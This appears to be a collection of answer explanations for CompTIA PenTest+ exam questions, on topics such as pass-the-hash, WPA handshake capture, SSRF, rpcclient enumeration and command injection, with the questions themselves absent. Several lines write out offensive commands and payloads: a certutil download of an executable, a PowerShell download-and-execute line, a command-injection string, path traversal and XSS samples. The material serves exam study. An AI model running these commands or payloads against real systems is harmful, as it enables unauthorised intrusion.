CompTIA PT0-003 - CompTIA PenTest+ Exam

The tester is using Mimikatz to dump cached credentials from Local Security Authority (LSA) memory.

Pass-the-Hash (Option C):

The tester extracts cached credentials to authenticate without cracking passwords.

Pass-the-Hash (PtH) allows lateral movement by reusing the NTLM hash on other systems.

Using dig with a wordlist to identify subdomains is an effective method for subdomain enumeration. The command cat wordlist.txt | xargs -n 1 -I ' X ' dig X.mydomain.com reads each line from wordlist.txt and performs a DNS lookup for each potential subdomain.

Command Breakdown:

cat wordlist.txt: Reads the contents of wordlist.txt, which contains a list of potential subdomains.

xargs -n 1 -I ' X ' : Takes each line from wordlist.txt and passes it to dig one at a time.

dig X.mydomain.com: Performs a DNS lookup for each subdomain.

Why This is the Best Choice:

Efficiency: xargs efficiently processes each line from the wordlist and passes it to dig for DNS resolution.

Automation: Automates the enumeration of subdomains, making it a practical choice for large lists.

Benefits:

Automates the process of subdomain enumeration using a wordlist.

Efficiently handles a large number of subdomains.

References from Pentesting Literature:

Subdomain enumeration is a critical part of the reconnaissance phase in penetration testing. Tools like dig and techniques involving wordlists are commonly discussed in penetration testing guides.

HTB write-ups often detail the use of similar commands for efficient subdomain enumeration.

Step-by-Step ExplanationReferences:

Penetration Testing - A Hands-on Introduction to Hacking

HTB Official Writeups

======

Obtaining a wireless preshared key (PSK) in a WPA/WPA2-Personal environment typically relies on capturing the 4-way handshake (or equivalent key exchange) between a client and the access point. PenTest+ emphasizes that the handshake is captured when a client authenticates or reauthenticates to the network; once the handshake is collected, the tester can attempt an offline password attack to determine the PSK (subject to rules of engagement and authorization).

Using aireplay-ng to perform a deauthentication attack forces connected clients to disconnect and then automatically reconnect, which triggers a new handshake that can be captured by the tester’s monitoring interface. This directly supports the goal of acquiring material needed to recover the PSK.

An evil twin (A) and captive portal (C) are social-engineering approaches more aligned with credential harvesting for enterprise/portal-based access, not reliably extracting a WPA2-PSK. Password spraying with Hydra (B) targets online login services and is not applicable to cracking a WPA/WPA2 PSK, which is derived from the handshake and performed offline.

This is a session fixation vulnerability because the application is reusing the same session identifier before and after authentication instead of issuing a new one upon successful login. In secure session management, the server should regenerate the session token after a user authenticates so that any pre-authenticated session identifier cannot be abused. If an attacker can force or predict a victim’s session ID before login, and the application keeps that same ID after authentication, the attacker may be able to hijack the authenticated session. That is the essence of session fixation. This is not JWT manipulation because there is no indication of token tampering, not cookie poisoning because the issue is not altered cookie content, and not a collision attack because no hash collision scenario is described. The flaw is improper session regeneration after authentication.

A well-structured penetration testing report should be clear, objective-driven, and include an executive summary to communicate findings effectively to both technical teams and executives.

Option A (Keeping video/audio of everything) ❌: Not required. Video/audio documentation is rarely used in penetration testing reports.

Option B (Keeping reports 5-10 pages) ❌: Reports vary in length based on scope and complexity. There is no strict page limit.

Option C (Basing recommendations on risk score) ❌: Risk scores are important, but the report should also provide remediation guidance, exploitability context, and business impact.

Option D (Clear objectives & executive summary) ✅: Correct.

The executive summary helps non-technical stakeholders understand risks and priorities.

The report should be detailed yet clear, focusing on findings, impact, and remediation.

📖 Reference: CompTIA PenTest+ PT0-003 Official Guide – Penetration Testing Reports & Communication

Option A uses Shodan’s API to gather information about a target without directly touching the target system. This makes it the stealthiest option as there ' s no traffic generated from the tester’s IP to the target.

Options B & D use Nmap which is active scanning, and while -T2 reduces intensity, it still generates packets.

Option C is a custom curl script that also interacts directly with the target and can trigger IDS alerts.

CompTIA PenTest+ Reference:

PT0-003 Objective 2.1 & 2.3: Passive vs Active reconnaissance techniques.

Using OSINT sources like Shodan is a key stealth recon method.

A screenshot of a computer Description automatically generated

A screenshot of a computer screen Description automatically generated

Most likely vulnerability: Perform a SSRF attack against App01.example.com from CDN.example.com.

The scenario suggests that the CDN network (with a WAF) can be used to perform a Server-Side Request Forgery (SSRF) attack. Since the penetration tester has the pentester workstation interacting through the CDN/WAF and the production network is behind it, the most plausible attack vector is to exploit SSRF to interact with the internal services like App01.example.com.

Two best remediation options:

Restrict direct communications to App01.example.com to only approved components.

Require an additional authentication header value between CDN.example.com and App01.example.com.

Restrict direct communications to App01.example.com to only approved components: This limits the exposure of the application server by ensuring that only specified, trusted entities can communicate with it.

Require an additional authentication header value between CDN.example.com and App01.example.com: Adding an authentication layer between the CDN and the app server helps ensure that requests are legitimate and originate from trusted sources, mitigating SSRF and other indirect attack vectors.

Nmap Scan Observations:

CDN/WAF shows open ports for HTTP and HTTPS but filtered for MySQL, indicating it acts as a filtering layer.

App Server has open ports for HTTP, HTTPS, and filtered for MySQL.

DB Server has all ports filtered, typical for a database server that should not be directly accessible.

These findings align with the SSRF vulnerability and the appropriate remediation steps to enhance the security of internal communications.

To execute a payload and gain additional access, the penetration tester should use certutil.exe. Here’s why:

Using certutil.exe:

Purpose: certutil.exe is a built-in Windows utility that can be used to download files from a remote server, making it useful for fetching and executing payloads.

Command: certutil.exe -f https://192.168.0.1/foo.exe bad.exe downloads the file foo.exe from the specified URL and saves it as bad.exe.

Comparison with Other Commands:

powershell.exe impo C:\tools\foo.ps1 (A): Incorrect syntax and not as direct as using certutil for downloading files.

powershell.exe -noni -encode IEX.Downloadstring( " http://172.16.0.1/ " ) (C): Incorrect syntax for downloading and executing a script.

rundll32.exe c:\path\foo.dll,functName (D): Used for executing DLLs, not suitable for downloading a payload.

Using certutil.exe to download and execute a payload is a common and effective method.

======

The rpcclient prompt indicates that the tester has connected to a system using an RPC client, commonly associated with Samba/SMB enumeration. From this interface, a tester can query information exposed through Microsoft RPC interfaces, including users, groups, domain information, shares, privileges, and security identifiers, depending on the level of access granted. Commands such as enumdomusers , queryuser , enumdomgroups , and related RPC calls are commonly used for account and domain enumeration. This makes “query local users on the system” the best answer. The tool does not inherently dump the SAM database or extract password hashes; that would require privileged file or registry access and different tooling, such as hash dumping utilities or post-exploitation frameworks. Enumerating session tokens is a local privilege/post-exploitation activity, not the primary purpose of rpcclient . Changing Resultant Set of Policy would require administrative control over Group Policy infrastructure and is not a normal RPC enumeration function. This aligns with study-guide topics covering SMB/RPC enumeration, network service discovery, account enumeration, and authenticated versus unauthenticated information gathering.

The correct answer is A. ; whoami ; ps aux

A diagnostics page that allows users to ping other systems commonly passes user input to an operating system command such as ping. If the application does not properly validate or sanitize input, an attacker may be able to inject additional operating system commands.

The semicolon ; is a command separator on Unix/Linux systems. A payload such as:

; whoami ; ps aux

attempts to terminate or extend the original ping command and execute additional commands. whoami identifies the user context running the command, and ps aux lists running processes. This makes it an appropriate payload for testing command injection.

B is incorrect because < script > alert(1) < /script > is used to test cross-site scripting.

C is incorrect because ' SELECT @@version -- is used to test SQL injection.

D is incorrect because ../../../../../../etc/passwd is used to test path traversal or local file inclusion.

In PenTest+ terms, this falls under Attacks and Exploits, specifically web application command injection testing.